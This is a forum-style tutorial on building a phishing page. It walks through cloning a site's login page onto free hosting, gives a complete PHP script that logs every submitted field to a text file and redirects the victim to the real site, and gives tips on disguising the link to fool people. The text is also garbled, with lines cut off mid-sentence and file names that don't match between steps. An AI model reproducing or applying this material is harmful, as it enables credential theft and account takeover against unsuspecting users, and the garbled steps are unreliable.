This is a basic tutorial on how to make a phishing page.

 What is a phisher? 101

 A phisher is a fake login page used to gain access to someones account. When someone
logs into the fake login page, there password is sent to you.

 Making a T35 Account 102
 ----

a free acount and title it (websiteyourgonnaphish).spam.com For example:
myspace.spam.com Most likeley, it is taken so add numbers like 08, or 07.

 Getting Web Pages Source Code 103

 After you create that page, go to the website you will make a phisher for. Open the
has popped-up.

 Creating Phish File 104

 Once you have that copied, go to your T35 account. Click on "New File" Title it
login.htm Then paste your Source Code you copied from 104. Save it.

 Now create another file, title it fhish.php And inside, paste this code:

Code:

```
<?php
 header("Location: http://www.phisshed-website.com");
 $handle = fopen("thepasses.txt", "a");
 foreach($_GET as $variable => $value) {
 fwrite($handle, $variable);
 fwrite($handle, "=");
 fwrite($handle, $value);
 fwrite($handle, "\r\n");
 }
```

```
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
```

change that to what desired

 Save the file.

box. Keep pressing find until you find something that says action=(something that has

 ----
 How to fool people - 105

 What you do now is disguise your link. Use this code:

 T35acount.spam.com/login.htm

 That is the link to your phishing page. When people login to that, you will get the
password in a password.txt file that will be created when someone types something into
it. But, you have to trick people. Use this code.

real website name.com/login.php

 You do the same for any forum!

 Thank you for reading! Hope it helps! If i was missing something, or you have any
questions, PM me!

 ALTERNATIVES:

 Also, if you don't want to use spam.com, use ripway.com and after you uploaded
everything, go to http://www.dot.tk and choose a free .tk domain name.
